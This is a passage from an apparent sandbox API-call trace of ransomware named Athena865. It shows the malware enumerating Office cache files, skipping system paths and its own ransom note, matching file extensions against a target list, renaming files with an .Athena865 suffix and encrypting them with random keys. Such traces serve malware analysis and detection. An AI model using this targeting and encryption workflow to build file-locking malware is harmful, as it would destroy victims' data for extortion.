lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0055.078] lstrlenW (lpString="mwb") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0055.078] lstrlenW (lpString="myd") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0055.078] lstrlenW (lpString="ndf") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0055.078] lstrlenW (lpString="nnt") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0055.078] lstrlenW (lpString="nrmlib") returned 6 [0055.079] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0055.079] lstrlenW (lpString="ns2") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0055.079] lstrlenW (lpString="ns3") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0055.079] lstrlenW (lpString="ns4") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0055.079] lstrlenW (lpString="nsf") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0055.079] lstrlenW (lpString="nv") returned 2 [0055.079] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0055.079] lstrlenW (lpString="nv2") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0055.079] lstrlenW (lpString="nwdb") returned 4 [0055.079] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0055.079] lstrlenW (lpString="nyf") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0055.079] lstrlenW (lpString="odb") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0055.079] lstrlenW (lpString="odb") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0055.079] lstrlenW (lpString="oqy") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0055.079] lstrlenW (lpString="ora") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0055.079] lstrlenW (lpString="orx") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0055.079] lstrlenW (lpString="owc") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0055.079] lstrlenW (lpString="p96") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0055.079] lstrlenW (lpString="p97") returned 3 [0055.079] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0055.080] lstrlenW (lpString="pan") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0055.080] lstrlenW (lpString="pdb") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0055.080] lstrlenW (lpString="pdm") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0055.080] lstrlenW (lpString="pnz") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0055.080] lstrlenW (lpString="qry") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0055.080] lstrlenW (lpString="qvd") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0055.080] lstrlenW (lpString="rbf") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0055.080] lstrlenW (lpString="rctd") returned 4 [0055.080] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0055.080] lstrlenW (lpString="rod") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0055.080] lstrlenW (lpString="rodx") returned 4 [0055.080] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0055.080] lstrlenW (lpString="rpd") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0055.080] lstrlenW (lpString="rsd") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0055.080] lstrlenW (lpString="sas7bdat") returned 8 [0055.080] lstrcmpiW (lpString1="rMUI.msi", lpString2="sas7bdat") returned -1 [0055.080] lstrlenW (lpString="sbf") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0055.080] lstrlenW (lpString="scx") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0055.080] lstrlenW (lpString="sdb") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0055.080] lstrlenW (lpString="sdc") returned 3 [0055.080] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0055.081] lstrlenW (lpString="sdf") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0055.081] lstrlenW (lpString="sis") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0055.081] lstrlenW (lpString="spq") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0055.081] lstrlenW (lpString="te") returned 2 [0055.081] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0055.081] lstrlenW (lpString="teacher") returned 7 [0055.081] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0055.081] lstrlenW (lpString="tmd") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0055.081] lstrlenW (lpString="tps") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0055.081] lstrlenW (lpString="trc") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0055.081] lstrlenW (lpString="trc") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0055.081] lstrlenW (lpString="trm") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0055.081] lstrlenW (lpString="udb") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0055.081] lstrlenW (lpString="udl") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0055.081] lstrlenW (lpString="usr") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0055.081] lstrlenW (lpString="v12") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0055.081] lstrlenW (lpString="vis") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0055.081] lstrlenW (lpString="vpd") returned 3 [0055.081] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0055.081] lstrlenW (lpString="vvv") returned 3 [0055.082] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0055.082] lstrlenW (lpString="wdb") returned 3 [0055.082] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0055.082] lstrlenW (lpString="wmdb") returned 4 [0055.082] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0055.082] lstrlenW (lpString="wrk") returned 3 [0055.082] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0055.082] lstrlenW (lpString="xdb") returned 3 [0055.082] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0055.082] lstrlenW (lpString="xld") returned 3 [0055.082] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0055.082] lstrlenW (lpString="xmlff") returned 5 [0055.082] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0055.082] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.Athena865") returned 89 [0055.082] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.athena865"), dwFlags=0x1) returned 1 [0055.083] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0055.083] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2513920) returned 1 [0055.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0055.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0055.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518b40 [0055.084] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518898) returned 1 [0055.084] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0055.084] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0055.085] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x265f00, lpName=0x0) returned 0x154 [0055.087] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x65f00) returned 0x1f0000 [0055.108] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0055.192] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0055.210] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518898) returned 1 [0055.215] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0055.215] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0055.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0055.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0055.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0055.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0055.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0055.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0055.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0055.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0055.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0055.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0055.216] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0055.220] CloseHandle (hObject=0x154) returned 1 [0055.220] CloseHandle (hObject=0x17c) returned 1 [0055.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0055.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518b40 | out: hHeap=0x4f0000) returned 1 [0055.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0055.229] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2=".") returned 1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="..") returned 1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="windows") returned -1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="bootmgr") returned 1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="temp") returned -1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="pagefile.sys") returned 1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="boot") returned 1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="ids.txt") returned 1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="ntuser.dat") returned 1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="perflogs") returned 1 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="MSBuild") returned 1 [0055.229] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0055.229] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PublisherMUI.xml" | out: lpString1="PublisherMUI.xml") returned="PublisherMUI.xml" [0055.229] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0055.229] lstrlenW (lpString="Athena865") returned 9 [0055.229] lstrcmpiW (lpString1="erMUI.xml", lpString2="Athena865") returned 1 [0055.229] lstrlenW (lpString=".dll") returned 4 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2=".dll") returned 1 [0055.229] lstrlenW (lpString=".lnk") returned 4 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2=".lnk") returned 1 [0055.229] lstrlenW (lpString=".ini") returned 4 [0055.229] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2=".ini") returned 1 [0055.230] lstrlenW (lpString=".sys") returned 4 [0055.230] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2=".sys") returned 1 [0055.230] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0055.230] lstrlenW (lpString="bak") returned 3 [0055.230] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0055.230] lstrlenW (lpString="ba_") returned 3 [0055.230] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0055.230] lstrlenW (lpString="dbb") returned 3 [0055.230] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0055.230] lstrlenW (lpString="vmdk") returned 4 [0055.230] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0055.230] lstrlenW (lpString="rar") returned 3 [0055.230] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0055.230] lstrlenW (lpString="zip") returned 3 [0055.230] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0055.230] lstrlenW (lpString="tgz") returned 3 [0055.230] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0055.230] lstrlenW (lpString="vbox") returned 4 [0055.230] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0055.230] lstrlenW (lpString="vdi") returned 3 [0055.230] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0055.230] lstrlenW (lpString="vhd") returned 3 [0055.230] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0055.230] lstrlenW (lpString="vhdx") returned 4 [0055.230] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0055.230] lstrlenW (lpString="avhd") returned 4 [0055.230] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0055.230] lstrlenW (lpString="db") returned 2 [0055.230] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0055.230] lstrlenW (lpString="db2") returned 3 [0055.230] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0055.231] lstrlenW (lpString="db3") returned 3 [0055.231] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0055.231] lstrlenW (lpString="dbf") returned 3 [0055.231] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0055.231] lstrlenW (lpString="mdf") returned 3 [0055.231] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0055.231] lstrlenW (lpString="mdb") returned 3 [0055.231] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0055.231] lstrlenW (lpString="sql") returned 3 [0055.231] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0055.231] lstrlenW (lpString="sqlite") returned 6 [0055.231] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0055.231] lstrlenW (lpString="sqlite3") returned 7 [0055.231] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0055.231] lstrlenW (lpString="sqlitedb") returned 8 [0055.231] lstrcmpiW (lpString1="rMUI.xml", lpString2="sqlitedb") returned -1 [0055.231] lstrlenW (lpString="xml") returned 3 [0055.231] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0055.231] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.Athena865") returned 89 [0055.231] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.athena865"), dwFlags=0x1) returned 1 [0055.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0055.232] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1450) returned 1 [0055.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0055.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0055.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518b40 [0055.232] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518898) returned 1 [0055.233] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0055.233] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0055.233] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x154 [0055.235] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000 [0055.236] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518898) returned 1 [0055.236] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0055.236] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0055.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0055.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0055.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0055.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0055.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0055.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0055.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0055.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0055.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0055.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0055.237] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0055.237] CloseHandle (hObject=0x154) returned 1 [0055.237] CloseHandle (hObject=0x17c) returned 1 [0055.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0055.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518b40 | out: hHeap=0x4f0000) returned 1 [0055.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0055.237] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2=".") returned 1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2="..") returned 1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2="windows") returned -1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2="bootmgr") returned 1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2="temp") returned -1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2="pagefile.sys") returned 1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2="boot") returned 1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2="ids.txt") returned 1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2="ntuser.dat") returned 1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2="perflogs") returned 1 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2="MSBuild") returned 1 [0055.238] lstrlenW (lpString="PubLR.cab") returned 9 [0055.238] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PubLR.cab" | out: lpString1="PubLR.cab") returned="PubLR.cab" [0055.238] lstrlenW (lpString="PubLR.cab") returned 9 [0055.238] lstrlenW (lpString="Athena865") returned 9 [0055.238] lstrlenW (lpString=".dll") returned 4 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2=".dll") returned 1 [0055.238] lstrlenW (lpString=".lnk") returned 4 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2=".lnk") returned 1 [0055.238] lstrlenW (lpString=".ini") returned 4 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2=".ini") returned 1 [0055.238] lstrlenW (lpString=".sys") returned 4 [0055.238] lstrcmpiW (lpString1="PubLR.cab", lpString2=".sys") returned 1 [0055.238] lstrlenW (lpString="PubLR.cab") returned 9 [0055.238] lstrlenW (lpString="bak") returned 3 [0055.238] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0055.238] lstrlenW (lpString="ba_") returned 3 [0055.238] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0055.238] lstrlenW (lpString="dbb") returned 3 [0055.239] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0055.239] lstrlenW (lpString="vmdk") returned 4 [0055.239] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0055.239] lstrlenW (lpString="rar") returned 3 [0055.239] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0055.239] lstrlenW (lpString="zip") returned 3 [0055.239] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0055.239] lstrlenW (lpString="tgz") returned 3 [0055.239] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0055.239] lstrlenW (lpString="vbox") returned 4 [0055.239] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0055.239] lstrlenW (lpString="vdi") returned 3 [0055.239] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0055.239] lstrlenW (lpString="vhd") returned 3 [0055.239] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0055.239] lstrlenW (lpString="vhdx") returned 4 [0055.239] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0055.239] lstrlenW (lpString="avhd") returned 4 [0055.239] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0055.239] lstrlenW (lpString="db") returned 2 [0055.239] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0055.239] lstrlenW (lpString="db2") returned 3 [0055.239] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0055.239] lstrlenW (lpString="db3") returned 3 [0055.239] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0055.239] lstrlenW (lpString="dbf") returned 3 [0055.239] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0055.239] lstrlenW (lpString="mdf") returned 3 [0055.239] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0055.239] lstrlenW (lpString="mdb") returned 3 [0055.239] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0055.240] lstrlenW (lpString="sql") returned 3 [0055.240] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0055.240] lstrlenW (lpString="sqlite") returned 6 [0055.240] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1 [0055.240] lstrlenW (lpString="sqlite3") returned 7 [0055.240] lstrcmpiW (lpString1="bLR.cab", lpString2="sqlite3") returned -1 [0055.240] lstrlenW (lpString="sqlitedb") returned 8 [0055.240] lstrcmpiW (lpString1="ubLR.cab", lpString2="sqlitedb") returned 1 [0055.240] lstrlenW (lpString="xml") returned 3 [0055.240] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0055.240] lstrlenW (lpString="$er") returned 3 [0055.240] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0055.240] lstrlenW (lpString="4dd") returned 3 [0055.240] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0055.240] lstrlenW (lpString="4dl") returned 3 [0055.240] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0055.240] lstrlenW (lpString="^^^") returned 3 [0055.240] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0055.240] lstrlenW (lpString="abs") returned 3 [0055.240] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0055.240] lstrlenW (lpString="abx") returned 3 [0055.240] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0055.240] lstrlenW (lpString="accdb") returned 5 [0055.240] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1 [0055.240] lstrlenW (lpString="accdc") returned 5 [0055.240] lstrcmpiW 